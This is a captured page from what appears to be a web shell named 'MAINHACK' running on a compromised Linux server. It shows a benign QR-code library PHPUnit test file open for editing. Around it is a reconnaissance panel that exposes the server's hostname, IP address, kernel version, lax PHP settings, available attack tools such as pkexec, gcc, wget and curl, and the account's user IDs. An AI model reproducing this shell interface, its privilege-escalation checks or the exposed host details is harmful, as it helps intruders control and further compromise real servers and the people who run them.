[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ImageTest.php
<?php use PHPUnit\Framework\TestCase; use SimpleSoftwareIO\QrCode\Image; class ImageTest extends TestCase { /** * The location to save the testing image. * * @var string */ protected $testImageSaveLocation; /** * The location to save the compare image. * * @var string */ protected $compareTestSaveLocation; /** * The path to the image used to test. * * @var string */ protected $imagePath; /** * The Image object. * * @var Image */ protected $image; public function setUp(): void { $this->imagePath = file_get_contents(dirname(__FILE__).'/Images/simplesoftware-icon-grey-blue.png'); $this->image = new Image($this->imagePath); $this->testImageSaveLocation = dirname(__FILE__).'/testImage.png'; $this->compareTestSaveLocation = dirname(__FILE__).'/compareImage.png'; } public function tearDown(): void { @unlink($this->testImageSaveLocation); @unlink($this->compareTestSaveLocation); } /** * Must test that the outputted PNG is the same because you can not compare resources. */ public function test_it_loads_an_image_string_into_a_resource() { imagepng(imagecreatefromstring($this->imagePath), $this->compareTestSaveLocation); imagepng($this->image->getImageResource(), $this->testImageSaveLocation); $correctImage = file_get_contents($this->compareTestSaveLocation); $testImage = file_get_contents($this->testImageSaveLocation); $this->assertEquals($correctImage, $testImage); } public function test_it_gets_the_correct_height() { $correctHeight = 512; $testHeight = $this->image->getHeight(); $this->assertEquals($correctHeight, $testHeight); } public function test_it_gets_the_correct_width() { $correctWidth = 512; $testWidth = $this->image->getWidth(); $this->assertEquals($correctWidth, $testWidth); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002